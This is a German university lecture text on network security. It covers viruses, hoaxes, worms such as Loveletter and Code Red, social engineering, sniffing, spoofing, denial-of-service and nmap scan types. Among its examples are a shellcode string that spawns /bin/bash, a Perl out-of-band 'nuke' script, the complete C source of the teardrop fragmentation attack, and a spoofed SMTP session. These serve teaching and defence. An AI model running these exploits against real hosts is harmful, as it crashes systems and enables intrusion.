![]() |
Sicherheit in NetzenProf. Jürgen PlateDipl.-Ing. Jörg Holzmann |
Diese Definition entspricht der Verhaltensweise eines sogenannten "Link-Virus", das auf ausführbaren Programmen arbeitet. Im Laufe der Evolution der Viren stellte sich jedoch heraus, das eine virenartige Verbreitung von Information auch auf vielerlei anderen Wegen möglich ist. Man geht heute von ca. 60000 verschiedenen Virenarten aus, die sich im Umlauf befinden.
Virus-Designer entwickeln laufend neue Techniken und zugleich zirkulieren Entwicklungswerkzeuge, die es Personen ohne Programmierkenntnisse ermöglicht, Mutationen (strains) zu erzeugen. Viren beschränken sich dabei nicht mehr auf die "Infektion" ausführbarer Programme, sondern befallen alle Dateien, die in irgendeiner Weise ausführbare Teile enthalten, also auch Word-Dokumente, Excel-Tabellen, E-Mails, Webseiten, usw. Es ist deshalb notwendig, die Virengefahr ernst zu nehmen. Sieht man dies im Zusammenhang mit der Möglichkeit, eigene Datenträger mitzubringen und sie im LAN des Unternehmens zu verwenden, ist dies ein weiterer Grund zur Aufmerksamkeit. Es ist deshalb wichtig, eine Antivirus-Politik zu formulieren. Die Antivirus-Politik des LAN hat primär das Ziel, eine Vireninfektion zu verhindern, Viren vor dem Ausbruch nachzuweisen sowie Bekämpfung und Wiederherstellung zu erleichtern, wenn das Unglück schon geschehen ist. Sie muß aber vor allem die Benutzer für die Gefahr sensibilisieren, so daß sie beispielsweise nicht auf jedes E-Mail-Attachment klicken (Man isst ja auch nicht jeden Pilz, den man im Wald findet.).
Ein zweckmäßiger Aufbau des lokalen Netzes ist eine Voraussetzung für
einen hohen Grad an Sicherheit vor Virenangriffen. Eine konsequente Trennung von Daten-
und ausführbaren Dateien hat große Bedeutung für die Sicherung vor
Vireninfektionen und -ausbrüchen. Nur der Systemverwalter darf Schreibberechtigungen
für Datenbereiche mit ausführbaren Dateien haben. Der Systemverwalter ist damit
verantwortlich, die Software zu kontrollieren, ehe sie im LAN installiert wird.
Datenbereiche mit Dateien, zu denen viele Benutzer Schreibberechti-gungen haben,
müssen von ausführbaren Dateien freigehalten werden. Das hilft zwar nicht
gegen Makro-Viren in Datendateien, hält jedoch viele Viren fern. Der zweite Vorteil
einer solchen Trennung ist die schnelle Wiederherstellung eines Client- oder Serverrechners.
Da sich die Programmbereiche nicht ändern (sollten), kann ein solcher Bereich schnell
durch Einspielen eines Backups oder, falls der älteste Backup auch schon verseucht
sein sollte, durch Neuinstallation restauriert werden.
Alle Netzlaufwerke werden regelmäßig auf Viren gescannt (mindestens
wöchentlich). Lokale Festplatten werden täglich gescannt. Die Benutzer sind
verpflichtet, Disketten zu scannen, ehe sie in ihren PC eingelesen werden. Alle Benutzer
werden in den Gebrauch von Antiviruspro-grammen eingeführt, und es wird festgelegt,
wann virusähnliche Probleme dem System-verwalter überlassen werden. Es gilt der
Grundsatz "lieber ein Virusverdacht zu viel als einer zu wenig", damit die Benutzer
ermutigt werden, bei einem Versacht sofirt Alarm zu schlagen.
Der Rechner des einzelnen Benutzers stellt einen Zugangsweg zum LAN dar und ist auch
selbst verletzbar. Ein wichtiger Teil der vorbeugenden Arbeit ist die Benutzerdisziplin,
die das Risiko von Vireninfektionen verringert. Programme unbekannter Herkunft und
unbekannter Wirkung dürfen nicht ohne ein Virusscannen ausgeführt werden.
Unbekannte Disketten müssen mit einem Antivirusprogramm kontrolliert werden, ehe
sie ausgeführt oder auf Festplatte kopiert werden. Checken Sie regelmäßig
Festplatten mit aktualisierten Antivirusprogrammen, und verwenden Sie ein residentes
Antivirusprogramm, das den Rechner beim Start checkt.
Trotz ausgedehnter Sicherheitsmaßnahmen können Arbeitsstationen oder das
lokale Netz von Viren angegriffen werden. In dem Maî wie LAN-Benutzer und -Verantwortliche
sicherheitsbewuîter werden, werden Viren fortschrittlicher. Identifizieren Sie Ursprung
und Art der Infektion. Wenn der Ursprung nicht unmittelbar festgestellt werden kann, ist
es ausreichend, die Art der Infektion festzustellen. Suchen Sie den Schaden im Netz und
identifizieren sie die betroffenen Rechner. Isolieren Sie eventuelle Schäden und
soweit möglich die Quelle der Infektion. Entfernen Sie sofort infizierte Rechner
vom Netz. Nehmen Sie kein Logoff vor, sondern ziehen Sie das Netzwerkkabel ab. Ein
reguläres Logoff kann zur weiteren Verbreitung beitragen. Nur 100% desinfizierte
PCs werden an das Netz angeschlossen. Wenn die Infektion nicht isoliert werden kann,
ist es notwendig, das ganze Netz herunterzufahren, und die Festplatten in den Servern
und Arbeitsstationen mit zwei oder mehr verschiedenen Virusscannern zu scannen. Nachdem
die feindlichen Programme entfernt worden sind, wird ein Restore der verlorenen oder
beschädigten Daten und auch der Boot- und Master-Boot-Sektoren vorgenommen.
Mit der Verteilung des Hoax beginnt eine Kettenreaktion, die häufig durch zwei Entwicklungen gekennzeichnet ist. Gutmeinende Nutzer fügen eigene Warnungen hinzu, andere nicht so gutmeinende Nutzer erweitern die beschriebene Gefahr noch durch selbst erdachte Szenarien. Somit unterliegen die Benachrichtigungen, die einen Hoax charakterisieren Änderungen. Daher kann ein Hoax in verschiedenen Variationen existieren und so mehr als einmal durch ein Netz rollen. So gab es zum Beispiel im Jahr 1996 die Warnung vor einem angeblichen "Penal"-Virus. Für einen aufmerksamen Beobachter der Szene war klar, daß diese Warnung identisch war mit einer früheren, die vor dem nicht existenten "Penpal"-Virus warnte. Nachdem also auf irgendeine Art und Weise das "p" entfernt wurde, suchte sich auch diese Hoax-Variation ihren Weg durch das Internet. Oft sind auch genaue Anweisungen in den Warnungen enthalten, wie man das Virusprogramm beseitigen kann, beispielsweise durch Löschen einer bestimmten Daten. Der gutgläubige Benutzer, der dieser Anweisung folgt, schädigt erst dadurch sein System und macht es gegebenenfalls unbenutzbar.
Wenn man die Hoax-Nachrichten der letzten Jahre betrachtet, lassen sich gemeinsame Faktoren erkennen. Normalerweise besteht ein Hoax aus einer Kombination der folgenden Faktoren:
Wenn eine Nachricht als Hoax erkannt wird, sollten folgende Schritte unternommen werden:
Der "Internet-Wurm" war einer der ersten Verteter seiner Art. Er ist ein reiner Prozess-Wurm, der versucht, auf anderen Rechnern ein Shell-Script zu starten, das dann seinerseits versucht, andere Rechner zu infizieren. Der Wurm nutzt verschiedene Sicherheitslücken aus, die im Folgenden beschrieben werden:
Ein neueres Beispiel ist der "Code-Red"-Wurm, der sich über einen Buffer-Overflow im HTTP-Server IIS von Microsoft verbreitet. Der Wurm schlug genau einen Monat nach Bekanntwerden des Fehlers zu und infizierte innerhalb 24 Stunden mehrere hunderttausend Rechner. Der Wurm öffnet eine TCP/IP Verbindung auf dem HTTP-Port 80 und nistet sich mit Hilfe des Buffer-Overflows im Speicher des Servers ein. Von dort aus versucht er weitere Server zu infizieren. Zwischen 20 und 24 Uhr GMT veranlaßt er außerdem, dass alle infizierten Rechner einen DDoS-Angriff auf die Webseite des weißen Hauses führen.
Der Loveletter ("I Love You" - so genannt wegen des E-Mail-Betreffs) ist ein Visual-Basic-Script (.vbs) und verschickt sich als Attachment in einer E-Mail. Das das Attachment trägt den Namen "LOVE-LETTER-FOR-YOU.TXT.vbs". Das Betriebsystem Wondows hat die üble Eigenart, Bei Dateien bekannte, registrierte Endungen (".vbs", ".exe" ".doc", ".xls", usw.) per Voreinstellung auszublenden. Der User sieht somit nur ein Attachment namens "LOVE-LETTER-FOR-YOU.TXT", das unverdächtig wirkt. Da aber Attachments mit der Endung ".vbs" mit dem VBS-Interpreter verknüpft sind, wird das Attachment beim Anklicken sofort ausgeführt. Einmal aktiviert, nimmt das Virus verschiedene Veränderungen am System vor. Zunächst sorgt es dafür, daß es bei jedem Systemstart aufgerufen wird. In einem zweiten Schritt manipuliert es die Startseite des Internet Explorers, so daß das Trojaner-Programm "BUGSFIX.EXE" heruntergeladen und ausgeführt wird. Dieses dient dazu, Passwörter auszuspionieren und an den Empfänger "mailme@super.net.ph" zu senden. Zur Verbreitung benutzt der Wurm den IRC-Client "mIRC" und den Mailer "Outlook". Das Programm "mIRC" wird so umkonfiguriert, daß der Wurm automatisch an andere Nutzer versandt wird. Mit Hilfe von Outlook versendet sich der Wurm an alle Einträge des Adressbuches. Als weitere Schadensfunktion schreibt sich der Wurm über alle Dateien Endungen "jpg", "jpeg", "mp3", "mp2", "js", "jse", "css", "wsh", "sct", "hta", "vbs" und "vbe", an die er ein ".vbs" anhängt. Die ersten Nachfolger des Loveletter-Wurms waren einfache Modifikationen, spätere Varianten hatten Erweiterungen, z. B. ein eigener SMTP-Mailer, der der Weiterversand auch ohne Outlook ermöglicht.
Wer wissen will, wie intelligent E-Mail-Viren heute sind, der kann sich die vier Artikel bei Heise Security durchlesen. Sie sind nicht nur echt witzig geschrieben, sondern auch echt interessant:
http://www.heise.de/security/artikel/59611
Die Problematik von Würmern wird nochmals in Kapitel 2 behandelt und auf Gefahren, die speziell die Anwenderseite betreffen, wird in Kapitel 7 eingegangen.
Wie kann jemand in den Rechner eindringen? Um in einen fremden Rechner einzudringen
gibt es etliche Möglichkeiten. Einige davon sollen in den folgenden Abschnitten
zur Sprache kommen. Wie schon erwähnt, kommen Eindringlinge von innen wie von
außen. Die Gefahren für offene EDV-Systeme können mit einem Wort, 'hacking'
und 'Hacker' ausgedrückt werden.
Hacker sind vor allem durch die technische und intellektuelle Herausforderung
motiviert. Es ist sehr selten die Rede von rationell kriminellem Verhalten, da
Risiko und Anforderungen an Ressourcen (Zeit, Ausrüstung, Anzahl der Teilnehmer)
den Umfang der greifbaren Ausbeute übersteigt. In amerikanischer Terminologie wird
mit folgenden Hackerprofilen gearbeitet, die ein besseres Bild davon geben, welche
Motive hinter der Hackeraktivität liegen.
Gefährliche Hacks sind durch folgende Schritte gekennzeichnet:
Beispiel(Eingaben fett)
telnet victim smtp Trying 192.168.253.250... Connected to 192.168.253.250. Escape character is '^]'. 220 victim.goodguys.de ESMTP Sendmail 8.8.8/8.8.8; Thu, 14 Oct 1999 15:06:52 +0200 mail from: god@heaven.org 250 god@heaven.org... Sender ok rcpt to:deneme 250 deneme... Recipient ok data 354 Enter mail, end with "." on a line by itself Betr.: Ihre Anfrage wg Einlass in den Himmel! Es tut uns leid, aber wir koennen Sie als Systemadministrator nicht bei uns aufnehmen und haben Ihre Anfrage an unser Tochterunternehmen www.hell.org weitergeleitet. Mit freundlichen Gruessen, i. V. Petrus . 250 PAA00111 Message accepted for delivery quit 221 victim.goodguys.de closing connection Connection closed by foreign host.
Es gibt immer noch Benutzer, die ihr Paßwort freiwillig preisgeben. Grundsätzlich gilt, daß weder der Systemadministrator noch irgend jemand sonst in der Firma oder beim Provider jemals Ihr Paßwort wissen müssen. Also cool bleiben, selbst wenn der Anrufer den Untergang aller Daten prophezeit, wenn er nicht sofort das Passwort erfährt.
Es geht aber aus in der Gegenrichtung. Der Systemverwalter bekommt am Montag im Morgengrauen einen Anruf: "Hier ist Direktor Rübenkürzer. Ich komme nicht mehr ins System. Sie müsssen sofort mein Passwort auf 'Whiskas' setzen!". Der Sysadmin stottert "Jawoll!" und tut wie befohlen. Drei Wochen später kommt Rübenkürzer aus dem Urlaub und findet unter seinen Account eine Pornobildersammlung vor.
Neben diesen "von außen" kommenden Gefahren gibt es auch noch Probleme, die durch das Betriebssystem selbst oder durch seine Administration hervorgerufen werden. Dazu einige Beispiele:
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/bash.........";
Einen weiteren Fall hat die Firma eEye in Microsofts Internet Information Server (IIS) entdeckt. Es handelt sich um eine Sicherheitslücke die es Angreifern erlaubt, beliebigen Code auf der betroffenen Maschine auszuführen. Das eEye-Sicherheitsteam behauptet, daß 90 Prozent aller IIS-Installationen im Internet verwundbar seien. Das Problem tritt beim Umgang mit speziellen Dateien auf (.HTR, .STM und .IDC). Angreifer können durch spezielle Anfragen einen internen Puffer zum _berlaufen bringen und damit eigenen Code ausführen lassen. Es gibt im Internet bereits mehrere Programme, mit denen sich dieser Fehler ausnutzen läßt. Mit dem Programm isshack.exe das es am eEye Server zum Download gibt, kann man die CMD-Shell auf einen beliebigen Port umleiten. Mittels Telnet kann man dann ins System einbrechen. Allerdings kann aufgrund der zahlreichen grafischen Administrationstools nicht so viel Schaden angerichtet werden wie auf Unix-Systemen. Microsoft hat die Existenz des Bugs bestätigt und stellt einen Patch bereit.
| Jahr | Angriffe |
|---|---|
| 1988 |
|
| 1993 |
|
| 1994 |
|
| 1995 |
|
| 1996 |
|
| danach |
|
Überblick über die Schichten der TCP/IP-Netzwerkprotokolle:
| Application Layer Schichten 5 - 7 WWW, E-Mail, etc. |
| Transport Layer Schicht 4 TCP, UDP |
| Network Layer Schicht 3 IP |
| Data Link Layer Schichten 1 - 2 LLC, Hardwareinterface |
Diese Schichten entsprechen in etwa dem OSI-Schichtenmodell, wobei hier allerdings immer
mehrere Schichten des OSI-Modells zu einer Schicht zusammengefaßt wurden.
Im Folgenden sollen nun die Sicherheitslücken in den einzelnen Schichten des Protokolls
genauer betrachtet und die darauf basierenden Angriffsstrategien untersucht werden.
Abhören von Passwörtern
Im Beispiel loggt sich ein Benutzer mit dem Namen testuser und dem
Paßwort geheim ein.
$ ./sniffit -p 23 -A . -t lx1-lbs ........... ..!.."..'.....#..%....P......$.. .9600,9600....#.lx2-lbs:0.0....'.. PRINTER.lp.DISPLAY.lx2-lbs:0.0......XTERM........testuser..geheim..Auch in diesem Fall verschafft Verschlüsselung Abhilfe. Die gleiche Session, aber mit Einsatz der Secure Shell:
SSH-1.5-1.2.26.....................K2...i....i#..B......;....?.H..v.{v5K.^....{
.t5.4.I..]....6VH..uN.p..E.u.....j.U&.\..N~...%kI.,....q..s..V.....(m...2.u...!
rL/......R.d......'.....1"#.$[. ..6.W.........g.v.j..e%.1..2..v.....#.....*..r.
......0xM....1..q..O.....pS@.._=.......$...ZJ...N&x..[..........L.........k...v
4.......v...}...fXI...Np7.....=$...%.s...iW".....$ID..g..i.
Mitlesen der Mail
Im folgenden Beispiel wird der komplette Mailverkehr eines Rechners (Port 25)
namens lx1-lbs abgehört. Das ist von jedem beliebigen Rechner
möglich, an dem der Datenstrom vorbeiläuft.
$ ./sniffit -p25 -t lx1-lbs EHLO lx2-lbs.e-technik.fh-muenchen.de MAIL From:<holzmann@lx3-lbs.e-technik.fh-muenchen.de> SIZE=299 RCPT To:<testuser@lx1-lbs.e-technik.fh-muenchen.de> DATA Received: from localhost (localhost [[UNIX: localhost]]) by lx2-lbs.e-technik.fh-muenchen.de (8.9.3/8.9.3) id OAA01804 for testuser@lx1-lbs.e-technik.fh-muenchen.de; Fri, 8 Oct 1999 14:11:12 +0200 From: Joerg Holzmann <holzmann@e-technik.fh-muenchen.de> To: testuser@lx1-lbs.e-technik.fh-muenchen.de Subject: Testmail Date: Fri, 8 Oct 1999 14:07:04 +0200 X-Mailer: KMail [version 1.0.21] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <99100814111100.01802@lx2-lbs> Content-Transfer-Encoding: 8bit Hallo lieber Testuser, Vielen Dank fuer Ihren Beitrag zu unserem Sicherheitsforum. Wir werden Ihren Artikel in der neuen Ausgabe der FHM-Hackerpost veroeffentlichen.Abhilfe schaffen hier beispielsweise kryptographische Verfahren und Methoden.
ICMP-Steuernachrichten lassen sich auch noch für andere Angriffe nutzen:
In einem LAN kommuniziert Arbeitsplatz A mit Arbeitsplatz B. Ein Angreifer (E) verwendet die Adresse von A und schleust Pakete ins LAN. Damit übernimmt er die Kommunikation E zu B. Das Problem sind die fehlende Authentizität von IP-Paketen und die Einschleusung zusätzlicher Pakete von außen durch die Fälschung von IP-Sendeadressen.
Die falsche Nachricht, daß www.microsoft.com die Adresse 129.187.244.3 hat, wird vom Opfer-DNS ohne jegliche Prüfung übernommen. Es bieten sich weitere Möglichkeiten an:
TCP-Hijacking
Bei der Kommunikation vom Arbeitsplatz (A) mit dem Server (S) hört
der Angreifer (E) mit, schaltet sich mit der Adresse von A ein und
übernimmt die Sitzung von A.
Das Problem ist die fehlende Authentizität und Integrität der
IP-Pakete.
Beispiel: TELNET-Sitzung
Einer der ältesten Denial of Service-Attacks ist das inzwischen
"klassische" Mail-Bombing. Hierzu wird ein Empfänger mit einer
Vielzahl von gleichlautenden E-Mails regelrecht bombadiert, so daß das
nächste Herunterladen der vorhandenen E-Mails zur Qual werden
dürfte. Die Ausführung erzeugt aber noch ein anderes Opfer:
Eine Mailbombe besteht normalerweise aus einer einzigen E-Mail, die an einen
SMTP-Mailserver zur Ausführung geschickt wird. Diese E-Mail hat jedoch
die Besonderheit, daß sie die E-Mail-Adresse des Opfers gleich mehrmals
als BCC-Empfänger enthält. Der ausführende Mailserver hat
bei entsprechend hoher Angabe von BCC-Empfängern ebenfalls entsprechend
genug zu tun, diese E-Mails zu generieren und zu versenden.
Eine sehr unangenehme Variante des Mail-Bombings ist die Anmeldung eines
Opfers bei Unmengen von Mailinglisten. Das Opfer muß sich nämlich
nach so einer Attacke mühsam aus allen angemeldeten Listen manuell
wieder austragen.
#!/usr/bin/perl -w
use strict;
use Socket;
use Net::Ping;
require 5.004;
my $host = shift;
my $paddr = sockaddr_in(139, inet_aton($host));
print "Der Computer $host wird heruntergefahren...\n";
socket(NUKE, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or
print "Klappt nicht: $!\n", return;
connect(NUKE, $paddr) or print "Klappt nicht: $!\n";
send(NUKE, "Heil Eris! Ewig Heil Discordia!", MSG_OOB );
close(NUKE);
if ($>)
{
print <<"MSG_END";
OOB-Angriff erfolgreich. Da das Programm nicht mir root-Rechten
laeuft, bitte mit ping(8) testen, ob $host noch läuft.
MSG_END
}
else
{
sleep 3;
my $ping = new Net::Ping('icmp');
if ($ping->ping($host))
{
warn "Hmm... $host scheint noch zu laufen.\n";
}
else
{
print "Ich konnte den Computer jetzt ausschalten.\n"
}
}
Out of Band-Packets bestehen aus einem speziellen UDP-Paket, daß
gewöhnlich an den Port 139 (NetBIOS-Port) gesendet wird, da
dieser standardmässig bei vielen Computern geöffnet ist.
Prinzipiell funktioniert es aber auch mit allen anderen Ports, die
für Datenempfang standardmässig geöffnet sind. Die
Wirkungsweise liegt nun darin, daß ein entsprechend ungesichertes
Betriebssystem mit Out of Band-Informationen nichts anfangen kann und
in einer "panikartigen" Reaktion im ungünstigsten Fall die
aktuelle Sitzung mit einem Systemabsturz beendet.
Dabei gibt es, wie der Name schon ahnen läßt, drei Schritte, die durchgeführt werden:
Mit diesen drei Schritten ist das Handshaking abgeschlossen. Nach Schritt 2
befindet sich auf dem Server ein Eintrag für die Verbindung, der bestehen
bleiben muß, bis der Client seine Antwort gesendet hat. Eine Verbindung
in diesem Stadium nennt man halboffen. Ein SYN-Attack nutzt nun die
Tatsache aus, daß der Server dafür Speicher reservieren muß,
bis er eine Antwort erhält. Wird diese Antwort allerdings nie gesendet,
dann bleibt der Speicher dauerhaft belegt. Erzeugt ein Angreifer eine größere
Menge dieser halboffenen Verbindungen, so ist abzusehen, daß der Server
bald an seinem Speicherlimit angekommen ist. An dieser Stelle ist es dem Server nun
nicht mehr möglich eine weitere TCP-Verbindung aufzubauen.
Das interessante an der "Land"-Attacke war, daß auch Cisco-Router, die an sehr
vielen zentralen Stellen des Netzes stehen, davon betroffen waren.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an
* implementation independent way of assembling network packets
* that does not rely on any of the diverse O/S specific
* nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
Ein DDoS Angriff besteht aus zwei Phasen. In Phase 1 beschafft sich ein Angreifer mittels bekannter Schwachstellen Zugriff auf eine große Zahl von Systemen, die später den eigentlichen DDoS-Angriff ausführen sollen. Der Angreifer installiert dazu auf den "Angriffsrechnern" Programme, die zeitgesteuert oder auf Kommando den einen DoS-Angriff gegen das gewünschte Ziel führen.
Beispiel: Tribe Flood Network:
Das TFN bietet die Möglichkeit, SYN, UDP und ICMP Angriffe zu führen.
Dazu stellt es eine Client-Server-Struktur bereit. Der Server wird auf einer Vielzahl
von Systemen installiert und kann dann vom Client aktiviert werden, um einen Angriff
zu starten. Da die Kommunikation mit dem Server nicht passwortgeschützt verläuft,
kann jeder einem installierten Server einen Angriff befehlen. Dazu muß man lediglich
wissen, auf welchen Rechnern der TFN-Server installiert ist. Dies lässt sich
leicht mittels Port-Scan oder im Internet kursierenden Listen herausfinden. Die eigentliche
Arbeit des Beschaffens von DDoS-Angriffsrechnern entfällt somit. Einen TFN-Angriff
kann jeder führen, der im Besitz des Client ist.
Die Bekämpfung von Distributed Denial-of-Service-Attacken ist extrem schwierig. Bei einem akuten Angriff kann der Administrator des angegriffenen Rechners lediglich die Datenflut von angreifenden Servern filtern, zum Beispiel über eine Firewall, um so wenigstens die Server zu schützen. Das Netz ist jedoch im Regelfalle trotzdem nicht erreichbar, da die Anbindung selbst überlastet wird. Das folgende Bild zeigt, wie ein DDoS-Angriff in der Verkehrsstatistik aussieht.
nmap -P0 -sT -p 79, 80 localhost localhost -> localhost TCP 3721 > finger [SYN] Seq=108672 Ack=0 Win=16384 Len=0 localhost -> localhost TCP finger > 3721 [RST, ACK] Seq=0 Ack=108673 Win=0 Len=0 localhost -> localhost TCP 3722 > http [SYN] Seq=231337 Ack=0 Win=16384 Len=0 localhost -> localhost TCP http > 3722 [SYN, ACK] Seq=350423 Ack=231338 Win=57344 Len=0 localhost -> localhost TCP 3722 > http [ACK] Seq=231338 Ack=350424 Win=57344 Len=0 localhost -> localhost TCP 3722 > http [RST, ACK] Seq=231338 Ack=350424 Win=57344 Len=0
nmap -P0 -sS -p 79, 80 localhost localhost -> localhost TCP 50529 > finger [SYN] Seq=6275 Ack=0 Win=2048 Len=0 localhost -> localhost TCP finger > 50529 [RST, ACK] Seq=0 Ack=06276 Win=0 Len=0 localhost -> localhost TCP 50529 > http [SYN] Seq=6275 Ack=0 Win=2048 Len=0 localhost -> localhost TCP http > 50529 [SYN, ACK] Seq=564532 Ack=6276 Win=49152 Len=0 localhost -> localhost TCP 50529 > http [RST] Seq=6276 Ack=0 Win=0 Len=0
nmap -P0 -sF -p 79, 80 localhost localhost -> localhost TCP 49452 > finger [FIN] Seq=0 Ack=0 Win=3072 Len=0 localhost -> localhost TCP finger > 49452 [RST, ACK] Seq=0 Ack=0 Win=0 Len=0 localhost -> localhost TCP 49452 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0 localhost -> localhost TCP 49453 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0Der XMAS-Scan ist eine Abwandlung des FIN-Scan. Zus"atzlich zum FIN sind die Flags PSH und URG gesetzt.
nmap -P0 -sU -p 513, 514 localhost localhost -> localhost WHO Source port: 33108 Destination port: who localhost -> localhost ICMP Destination unreachable localhost -> localhost UDP Source port: 33600 Destination port: syslog localhost -> localhost UDP Source port: 33601 Destination port: syslogDer UDP-write/recvfrom-Scan ist ein UDP-ICMP-Scan, der vollkommen ohne root-Rechte durchgeführt werden kann. Die Schwierigkeit besteht darin, zu erkennen, dass "ICMP port unreachable" gesendet wurde. Der UDP-write-Scan basiert darauf, dass der Empfang des "ICMP port unreachable" durch das Fehlschlagen eines zweiten write-Aufrufs angezeigt wird. Die Grundlage des UDP-recvfrom-Scan ist, dass das Erhalten des "ICMP port unreachable" bei einem recvfrom-Aufruf auf einen NONBLOCKING-Socket durch das Setzen von ERRNO auf 111 (ECONNREFUSED) angezeigt wird.
